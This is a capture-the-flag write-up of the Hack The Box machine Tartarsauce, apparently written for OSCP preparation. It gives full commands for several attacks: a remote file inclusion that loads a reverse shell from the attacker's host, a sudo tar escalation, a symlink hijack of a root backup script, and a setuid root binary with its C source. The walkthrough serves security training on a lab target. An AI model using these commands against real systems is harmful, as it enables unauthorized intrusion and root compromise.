Hack the Box is an online platform to test and advance your skills in penetration testing and cyber security.
In this series of articles we will show how junior evaluators complete some Hack The Box machines in their road to OSCP, a well-known, respected, and required for many top cybersecurity positions certification. Certified OSCPs are able to identify existing vulnerabilities and execute organized attacks in a controlled and focused manner. They can leverage or modify existing exploit code to their advantage, perform network pivoting and data exfiltration, and compromise systems due to poor configurations.
Let's start with the fun!
Tartarsauce
Initial Foothold
Nmap shows that there is a robots.txt
, which leads us to http://10.10.10.88/webservices/monstra-3.0.4/
,
a website built using monstra
as CMS (Content Management System). In addition, we also see the
version: 3.0.4
.
Looking through the page we find an admin panel:
http://10.10.10.88/webservices/monstra-3.0.4/admin
Trying admin:admin
, we get in.
Doing searchsploit monstra
we see that there is an authenticated RCE for version 3.0.4.
MASSIVE RABBITHOLE
Turns out, we have to use gobuster on http://10.10.10.88/webservices
in order to find /wp
, a wordpress folder. A very common tool used to enumerate wordpress sites is wpscan
.
So we try running wpscan --url http://10.10.10.88/webservices/wp
, but it yields nothing useful.
Let's try enumerating the plugins too: wpscan --url http://10.10.10.88/webservices/wp -e p
. Unfortunately, it does not show anything useful either. It seems like we need to read the manual for wpscan
and try different flags.
Attempt #3621: wpscan --url http://10.10.10.88/webservices/wp -e ap --wp-plugins-dir http://10.10.10.88/webservices/wp/wp-content/plugins/ --plugins-detection aggressive
. It shows all the plugins, including one called gwolle-gb
with version 2.3.10
.
Apparently, the box creator has modified the readme.txt
for the gwolle-gb
plugin, which leads
wpscan
to report the wrong version: Version: 2.3.10 (100% confidence)
.
In reality, the plugin is version 1.5.3
which has a Remote File Inclusion (RFI) vulnerability.
- Set up a php reverse shell and name it
wp-load.php
. - Serve it through HTTP:
python3 -m http.server
. - Set up the listener:
ncat -lnvp 6969
. - Trigger the RFI:
10.10.10.88/webservices/wp/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php?abspath=http://10.10.14.13:8000/
.
We get a shell as www-data
.
User
A quick sudo -l
shows that we can run /bin/tar
as user onuma
.
Taking a look at GTFOBins we find the following way to escalate to user onuma
.
sudo -u onuma /bin/tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
We successfully get a shell as user onuma
.
Bonus
Change /bin/sh
to /bin/bash
to skip having to improve the shell.
sudo -u onuma /bin/tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash
Root
After a fair bit of enumeration and going through a few rabbit holes, I decided to run pspy
(32
bits version) and found this peculiar command being run as root
: /bin/bash /usr/sbin/backuperer
This script basically creates a tar file (as user onuma
) of the directory /var/www/html
and
places it under /var/tmp
with a random name. Then, after 30 seconds have passed, root
uncompresses it and checks for differences with the directory /var/www/html
using the diff
utility and outputs any differences to the file /var/backups/onuma_backup_error.txt
.
So, why is this script vulnerable?
- The
tar
commands that creates the temporary file is run as useronuma
, giving us the chance to modify it. - The script waits for 30 seconds, giving us enough time to hijack the tar file.
- The second
tar
command used to uncompress the file is run as userroot
. - Uses
diff
to output differences to a file, to which everyone has read access. tar
preserves symbolic links. So, if we link an existing file toroot.txt
, the differences between these two files will be written to the file created bydiff
, effectively allowing us to read root-owned files.
How to exploit it:
- Create the following directory inside
/var/tmp
:cd /var/tmp && mkdir -p var/www/html
. - Inside the directory created on the previous step, create a symbolic link to
root.txt
using the name of a file that exists on/var/www/html
. For example:ln -s /root/root.txt index.html
. - Create a tar archive of that directory:
cd /var/tmp && tar -zcvf read_flag.tar.gz var
. - Wait until the temporary file is created:
watch -n 1 ls -a /var/tmp
. This file is created every 5 minutes (check timer withsystemctl list-timers
). - Once the file is created, it will have a random looking name, e.g.,
.30d1cea06ced0ae7c8c3cd0a8d0aa8f6ba32395
. We have 30 seconds to hijack this file:mv /var/tmp/read_flag.tar.gz /var/tmp/.30d1cea06ced0ae7c8c3cd0a8d0aa8f6ba32395
. - Wait for the 30 seconds to finish and then read the diff file:
cat /var/backups/onuma_backup_error.txt
. - The contents of
/root/root.txt
are shown in the file.
Bonus. Get a Root Shell
After watching Ippsec's video, I have learned how to get a root shell through the same vulnerable script.
Tar keeps file permissions, and since root
runs the uncompress tar
command, we can make any file
we want be owned by root with any permissions we want. How does this help us? We can place a file that
uses setuid to root
and executes /bin/sh
.
setuid.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main ( int argc, char *argv[] )
{
setreuid(0,0);
execve("/bin/sh", NULL, NULL);
}
- Compile it:
gcc -m32 -o setuid setuid.c
. (Requiresgcc-multilib
). - On our Kali machine: Create the target directory:
mkdir -p var/www/html
. - Place
setuid
in that directory:mv setuid var/www/html
. - Set the permissions:
chmod 6555 var/www/html/setuid
--> setuid, setgid and read/execute for everyone. - Compress the file:
tar -zcvf setuid.tar.gz var
. - Set up a python HTTP server:
python3 -m http.server
. - On the victim machine,
cd /var/tmp && wget 10.10.14.13:8000/setuid.tar.gz
. - Wait for the temporary file to appear:
watch -n 1 ls -la /var/tmp
. - Rename our tar file to the same name of the temporary file:
cp /var/tmp/setuid.tar.gz /var/tmp/.58874e2f64a0c7874a329b7e38efea000c2df2d7
. - Wait for 30 seconds.
- Run our setuid file:
/var/tmp/check/var/www/html/setuid
.
And we obtain a shell as root
.
# id
uid=0(root) gid=1000(onuma) groups=1000(onuma),24(cdrom),30(dip),46(plugdev)